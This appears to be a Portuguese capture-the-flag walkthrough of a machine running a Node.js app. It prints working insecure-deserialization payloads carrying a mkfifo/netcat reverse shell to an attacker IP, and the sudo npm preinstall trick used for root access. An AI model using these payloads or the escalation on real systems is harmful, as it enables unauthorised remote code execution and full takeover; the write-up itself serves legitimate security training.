✧ ✧ ✧

A aplicação possui vulnerabilidades insecure deserialization permite execução remota de comandos, privilege escalation via sudo npm sem senha.

Passando um nmap vemos que temos a porta 22, 80 e 3000.

nmap

Na porta 80 temos uma página em manutenção.

port 80

E na porta 3000 temos:

port 3000

Onde você manda um email e ele te retorna um cookie.

email cookie

Pegando esse cookie e vendo o conteúdo temos:

cookie content

O userName já definido por padrão, e o email com o nosso email passado. Então procurando algo sobre desserialização em node.js temos:

Node.js Deserialization Attack — Exploit Notes

exploit notes

Onde gerou um payload serializado:

{"rce":"_$$ND_FUNC$$_function() {\n require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.63.242 8443 >/tmp/f', function(error, stdout, stderr) { console.log(stdout); });\n }"}

Aperfeiçoando ele para a nossa situação temos:

{"userName":"Anonymous","Email":"_$$ND_FUNC$$_function() {\nrequire('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.11.123 4444 >/tmp/f', function(error, stdout, stderr) { console.log(stdout); });\n }()"}

Então conseguimos subir uma shell:

shell

Dando um sudo -l vemos que temos permissões sudo no npm:

sudo -l

Procurando um pouco temos payloads já prontos no GTFOBins:

TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i
root

Daí conseguimos root.

✧ Return